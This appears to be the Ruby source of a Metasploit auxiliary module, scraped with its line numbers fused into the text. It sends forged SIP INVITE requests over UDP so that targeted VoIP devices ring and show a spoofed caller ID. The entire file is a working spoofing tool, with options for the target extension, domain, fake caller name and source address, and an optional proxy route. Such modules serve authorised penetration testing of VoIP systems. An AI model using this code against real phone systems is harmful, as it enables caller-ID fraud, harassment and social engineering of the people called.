Path: blob/master/modules/auxiliary/voip/sip_invite_spoof.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Scanner89def initialize10super(11'Name' => 'SIP Invite Spoof',12'Description' => %q{13This module will create a fake SIP invite request making the targeted device ring14and display fake caller id information.15},16'Author' => [17'David Maynor <dave[at]erratasec.com>', # original module18'ChrisJohnRiley' # modifications19],20'License' => MSF_LICENSE,21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [],24'Reliability' => []25}26)2728deregister_udp_options29register_options(30[31Opt::RPORT(5060),32OptString.new('SRCADDR', [true, 'The sip address the spoofed call is coming from', '192.168.1.1']),33OptString.new('MSG', [true, 'The spoofed caller id to send', 'The Metasploit has you']),34OptString.new('EXTENSION', [false, 'The specific extension or name to target', nil]),35OptString.new('DOMAIN', [false, 'Use a specific SIP domain', nil])36]37)38register_advanced_options(39[40OptAddress.new('SIP_PROXY_NAME', [false, 'Use a specific SIP proxy', nil]),41OptPort.new('SIP_PROXY_PORT', [false, 'SIP Proxy port to use', 5060])42]43)44end4546def run_host(ip)47name = datastore['MSG']48src = datastore['SRCADDR']49ext = datastore['EXTENSION']50dom = datastore['DOMAIN']51sphost = datastore['SIP_PROXY_NAME']52spport = datastore['SIP_PROXY_PORT'] || 506053conn_string = ''5455if !ext.nil? && !ext.empty?56# set extension name/number57conn_string = "#{ext}@"58end5960if !dom.nil? && !dom.empty?61# set domain62conn_string << dom.to_s63else64conn_string << ip.to_s65end6667# set Route header if SIP_PROXY is set68if !sphost.nil? && !sphost.empty?69route = "Route: <sip:#{sphost}:#{spport};lr>\r\n"70end7172connect_udp7374print_status("Sending Fake SIP Invite to: #{conn_string}")75print_status("Using SIP proxy #{sphost}:#{spport}") if route7677req = "INVITE sip:#{conn_string} SIP/2.0" + "\r\n"78# add Route: header to req if SIP_PROXY is set79req << route if route80req << "To: <sip:#{conn_string}>" + "\r\n"81req << "Via: SIP/2.0/UDP #{ip}" + "\r\n"82req << "From: \"#{name}\"<sip:#{src}>" + "\r\n"83req << "Call-ID: #{rand(100..199)}#{ip}" + "\r\n"84req << 'CSeq: 1 INVITE' + "\r\n"85req << 'Max-Forwards: 20' + "\r\n"86req << "Contact: <sip:#{conn_string}>" + "\r\n\r\n"8788udp_sock.put(req)89disconnect_udp90rescue Errno::EACCES => e91vprint_error(e.message)92end93end949596